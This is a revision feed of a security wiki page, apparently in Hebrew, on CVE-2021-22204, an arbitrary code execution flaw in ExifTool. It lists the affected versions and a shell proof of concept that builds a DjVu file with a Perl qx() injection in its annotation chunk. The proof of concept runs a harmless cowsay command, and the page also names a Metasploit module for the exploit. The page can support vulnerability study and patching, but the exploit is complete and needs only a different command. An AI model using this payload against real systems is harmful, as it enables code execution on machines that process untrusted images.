https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2021-22204_ExifTool%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fhe
CVE-2021-22204 ExifTool任意代碼執行漏洞/he - Revision history
2026-04-04T14:12:28Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CVE-2021-22204_ExifTool%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/he&diff=3098&oldid=prev
Pwnwiki: Created page with "CVE-2021-22204 פגיעות של ביצוע קוד שרירותי ExifTool"
2021-05-23T02:16:08Z
<p>Created page with "CVE-2021-22204 פגיעות של ביצוע קוד שרירותי ExifTool"</p>
<p><b>New page</b></p><div><languages /><br />
<br />
==גרסה מושפעת==<br />
ExifTool 7.44 to 12.23<br />
<br />
<br />
==POC==<br />
<pre><br />
$ printf 'P1 1 1 0' > moo.pbm<br />
$ cjb2 moo.pbm moo.djvu<br />
$ printf 'ANTa\0\0\0\40"(xmp(\\\n".qx(cowsay pwned>&2);#"' >> moo.djvu<br />
$ exiftool moo.djvu > /dev/null<br />
_______<br />
< pwned ><br />
-------<br />
\ ^__^<br />
\ (oo)\_______<br />
(__)\ )\/\<br />
||----w |<br />
|| ||<br />
<br />
-- <br />
Jakub Wilk<br />
</pre><br />
<br />
==Metasploit==<br />
https://github.com/rapid7/metasploit-framework/pull/15185<br />
<pre><br />
exploit/unix/fileformat/exiftool_djvu_ant_perl_injection<br />
</pre></div>
Pwnwiki